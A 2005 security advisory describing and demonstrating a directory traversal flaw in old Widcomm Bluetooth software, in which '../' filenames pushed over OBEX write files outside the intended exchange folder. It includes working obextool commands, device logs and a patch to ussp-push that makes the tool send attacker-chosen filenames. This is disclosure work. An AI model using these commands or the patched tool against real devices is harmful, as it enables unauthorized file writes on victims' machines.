Typos included at no charge. =]
DMA[2005-0412a] - 'Widcomm BTW (Microsoft Windows BT stack) Directory Transversal'
Author: Kevin Finisterre
Vendor: http://66.45.42.84/Products, http://www.broadcom.com/press/release.php?id=525262
Product: 'versions older than BTW 3.0.1.905 ?'
References: http://www.digitalmunition.com/DMA[2005-0412a].txt
Description:
On August 11 2004 in Advisory Reference ptl-2004-03 Pentest Limited released very minimal
detail on security issues related to 'WIDCOMM Bluetooth Connectivity Software'. CAN-2004-0775
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0775 was created in order to
provide information surrounding this issue. Unfortunately none of the links provided by the
CVE entry contain any real data on the attacks. In efforts to document and exploit the
above mentioned issues I stumbled upon yet an other problem.
WIDCOMM Inc. which is short for Wireless Internet and Data/Voice Communications previously designed
products for indoor wireless communications. Founded in June 1998, the company was focused on
Bluetooth networking. WIDCOMM's goal was to make it secure, easy, and inexpensive for people with
PCs, cellular phones, PDAs and laptops to wirelessly link their devices and to access the Internet.
One May 10 2004 Broadcom Corporation, a leading provider of highly integrated semiconductor
solutions enabling broadband communications, announced that had completed the acquisition of WIDCOMM.
I happen to own Bluetooth dongles from Belkin, Actiontec, Linksys, Ambicom, D-link and Zoom and only
one of them came with BlueSoleil instead of Widcomm based software. I would guess that somewhere
around 90% of the PC Bluetooth hardware on the market currently comes with Widcomm install media.
The dongle that I used for testing was an Ambicom BT2000C-US on windows XP SP2. The software that
was bundled with the dongle was a variant of Widcomm's Bluetooth Software version 1.4.2. Several
other revisions are available however due to problems with licensing you may find it difficult to
make use of anything that did not specifically come packaged with your device. I even ran into an
instance in which my purchased dongle did not even work with the software it was bundled with
(Thanks D-Link!).
Several sites document the difficulties that the end user is faced with when trying to use the various
versions of the Widcomm software. Short of stating that Widcomm and Broadcomm have really done a huge
disservice to their end users, I will not go into the fiasco surrounding license.dat issues. Fixing
and or patching the vulnerabilities I am going to mention may be compounded by the fact that Widcomm
and Broadcomm's customer base is simply unable to upgrade. Widcomm has in essence shot us all in the
foot.
After an install of the Widcomm software you are presented with the 'Initial Bluetooth Configuration'
screen. Here you choose the name of your device and select the bluetooth services it will provide.
By default 'PIM Item Transfer' is set to start automatically with no authentication required. Under
normal circumstances files are dropped into "<My Documents>\Bluetooth Exchange Folder". Any device
that attempts to transfer files to or from your device should be limited to accessing this folder.
Unfortunately this is NOT the case, a simple ../ is enough to cause a little trouble. This attack can
have its limitations depending on how the software settings are configured. Using a modified obextool
binary from ussp-push we can easily demonstrate the problem.
As stated above a normal transaction should limit files to the "<My Documents>\Bluetooth Exchange Folder"
animosity:~/ussp-push-0.2# ./obextool push /etc/hosts 00:0C:41:E2:7A:EE testfile 3
Sending object ...
BtserverSpylite output:
00:32:17.995 OPP: Settings for saving objects...
00:32:18.015 vCard's: 'Save to PIM'
00:32:18.035 vCal's: 'Do not accept'
00:32:18.055 vMsg's: 'Do not accept'
00:32:18.075 vNote's: 'Do not accept'
00:32:18.095 Other: 'Save to Inbox folder'
00:32:18.115 Folder: 'C:\Documents and Settings\Administrator\My Documents\Bluetooth Exchange Folder\'
00:32:18.135 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:32:18.155 OPP: 'testfile' saved to PIM Item Transfer Folder '...My Documents\Bluetooth Exchange Folder'
C:\Documents and Settings\Administrator\My Documents\Bluetooth Exchange Folder>dir
Volume in drive C has no label.
Volume Serial Number is F888-ED9A
Directory of C:\Documents and Settings\Administrator\My Documents\Bluetooth Exchange Folder
07/12/2005 12:32 AM <DIR> .
07/12/2005 12:32 AM <DIR> ..
07/12/2005 12:32 AM 262 testfile
1 File(s) 262 bytes
2 Dir(s) 35,701,919,744 bytes free
We are however able to travel beyond the Bluetooth Exchange Folder by adding "../" to our request. Under the
default configuration this allows us to write to the root of the My Documents folder.
animosity:~/ussp-push-0.2# ./obextool push /etc/hosts 00:0C:41:E2:7A:EE ../Im_rick_james 3
Sending object ...
00:35:19.897 OPP: '../Im_rick_james' saved to PIM Item Transfer Folder '...\My Documents\Bluetooth Exchange Folder'
C:\Documents and Settings\Administrator\My Documents>dir
Volume in drive C has no label.
Volume Serial Number is F888-ED9A
Directory of C:\Documents and Settings\Administrator\My Documents
07/12/2005 12:35 AM <DIR> .
07/12/2005 12:35 AM <DIR> ..
07/12/2005 12:35 AM 262 Im_rick_james
07/01/2005 08:38 PM <DIR> Bluetooth
07/12/2005 12:32 AM <DIR> Bluetooth Exchange Folder
07/01/2005 04:38 PM <DIR> My Music
06/25/2005 02:55 PM <DIR> My Pictures
06/27/2005 12:08 AM <DIR> My Virtual Machines
1 File(s) 262 bytes
7 Dir(s) 35,701,919,744 bytes free
Due to an unknown reason, when using the default configuration you are only able to go up one
directory. Because of this you are limited to being able to write to the My Documents folder ONLY.
his could be an XP SP2 thing. I have NOT tested this on windows 9x based software at all. In other
words your results may vary.
animosity:~/ussp-push-0.2# ./obextool push /etc/hosts 00:0C:41:E2:7A:EE ../../beiotch 3
Sending object ...
00:37:25.457 OPP: Error - Could not rename 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\../../beiotch' to
'C:\Documents and Settings\Administrator\My Documents\Bluetooth Exchange Folder\../../beiotch'
If you change the default drop directory from "<My Documents>\Bluetooth Exchange Folder" to something
else we are able to traverse a good portion of the file system. In this example we used
C:\test\test2\test3\test4 as our bluetooth drop folder.
00:57:38.471 OPP: Settings for saving objects...
00:57:38.481 vCard's: 'Save to PIM'
00:57:38.501 vCal's: 'Do not accept'
00:57:38.511 vMsg's: 'Do not accept'
00:57:38.532 vNote's: 'Do not accept'
00:57:38.542 Other: 'Save to Inbox folder'
00:57:38.562 Folder: 'C:\test\test2\test3\test4'
00:57:38.582 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:57:38.602 OPP: '../blah' saved to PIM Item Transfer Folder 'C:\test\test2\test3\test4'
00:57:38.672 GKI freeq 0 (2:4) 1 (0:1) 2 (0:0) 3 (1:12) 4 (0:46)
00:57:57.599 OPP: Settings for saving objects...
00:57:57.609 vCard's: 'Save to PIM'
00:57:57.629 vCal's: 'Do not accept'
00:57:57.649 vMsg's: 'Do not accept'
00:57:57.669 vNote's: 'Do not accept'
00:57:57.679 Other: 'Save to Inbox folder'
00:57:57.699 Folder: 'C:\test\test2\test3\test4'
00:57:57.719 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:57:57.739 OPP: '../../blah' saved to PIM Item Transfer Folder 'C:\test\test2\test3\test4'
00:58:14.243 OPP: Settings for saving objects...
00:58:14.263 vCard's: 'Save to PIM'
00:58:14.283 vCal's: 'Do not accept'
00:58:14.293 vMsg's: 'Do not accept'
00:58:14.313 vNote's: 'Do not accept'
00:58:14.333 Other: 'Save to Inbox folder'
00:58:14.343 Folder: 'C:\test\test2\test3\test4'
00:58:14.363 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:58:14.383 OPP: '../../../blah' saved to PIM Item Transfer Folder 'C:\test\test2\test3\test4'
Again for some reason we run into a minor limitation on where the files can be dropped.
00:58:29.735 OPP: Settings for saving objects...
00:58:29.755 vCard's: 'Save to PIM'
00:58:29.775 vCal's: 'Do not accept'
00:58:29.795 vMsg's: 'Do not accept'
00:58:29.815 vNote's: 'Do not accept'
00:58:29.835 Other: 'Save to Inbox folder'
00:58:29.855 Folder: 'C:\test\test2\test3\test4'
00:58:29.875 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:58:29.895 OPP: Error - Could not rename 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\../../../../blah' to
'C:\test\test2\test3\test4\../../../../blah'
As you can see the bluetooth drop directory can easily be ignored by the attacker.
C:\>dir test\blah test\test2\blah test\test2\test3\blah
Volume in drive C has no label.
Volume Serial Number is F888-ED9A
Directory of C:\test
07/12/2005 12:58 AM 262 blah
1 File(s) 262 bytes
Directory of C:\test\test2
07/12/2005 12:57 AM 262 blah
1 File(s) 262 bytes
Directory of C:\test\test2\test3
07/12/2005 12:57 AM 262 blah
1 File(s) 262 bytes
I have not seen this issue documented anywhere. It was not described in the release by pentest.co.uk,
nor was it mentioned in any advisory from Widcomm or Broadcomm. I am unable to tell exactly when this
issue was introduced into the Widcomm codebase and I am equally unable to tell exactly when it was
fixed. All of the above testing was performed against PC versions of the software, it is currently
unknown how other Widcomm platforms are affected by this issue.
I have confirmed that versions 4.0.1.700 and 3.0.1.905 are NOT exploitable (for this condition). In
these versions the "../" request is replaced with "..x" thus preventing the attack.
Timeline associated with this bug:
04/12/2005 Public disclosure due to the fact that the bug was silently fixed by the vendor(s) in the past.
Regurgitated Workaround:
'...(we) recommend that end users stop using the vulnerable WIDCOMM Bluetooth software'. Alternately
users can 'set their Bluetooth device configuration to be non-discoverable or hidden.'. Please note
however 'This will not stop the device from being vulnerable but it may limit the exposure.'
Due to the fact that this issue was patched silently NO attempt was made to notify Broadcomm or Widcomm
about this issue. The issue appears to have been patched in version 3.x. Unfortunately due to licensing
issues users of this software will find it difficult to patch this vulnerability, and I found it difficult
to research which versions were and were not vulnerable. Bug your vendor to get you some updated software
and ask them to quit playing games over license.dat files!
Other vendors are affected by similar issues and future advisories will be released.
All your Bluetooth are belong to greenplaque.
-KF
@@ -305,20 +305,21 @@
void cmd_push(bdaddr_t *local, int argc, char **argv)
{
- char *filename;
+ char *filename, *malfile;
char *alias;
bdaddr_t bdaddr;
uint8_t channel;
-
+
if (argc < 3) {
usage();
return;
}
filename = argv[1];
- alias = basename(filename);
str2ba(argv[2], &bdaddr);
- channel = (argc > 3) ? atoi(argv[3]) : 10;
+ malfile = argv[3];
+ alias = malfile;
+ channel = (argc > 4) ? atoi(argv[4]) : 3;
btobex_push(&bdaddr, channel, filename, alias);
}
@@ -330,7 +331,7 @@
char *opt;
char *doc;
} command[] = {
- { "push", cmd_push, "<file> <bdaddr> [channel]", "Push a file" },
+ { "push", cmd_push, "<file> <bdaddr> <malfile> [channel] ", "Push a file" },
{ NULL, NULL, 0, 0 }
};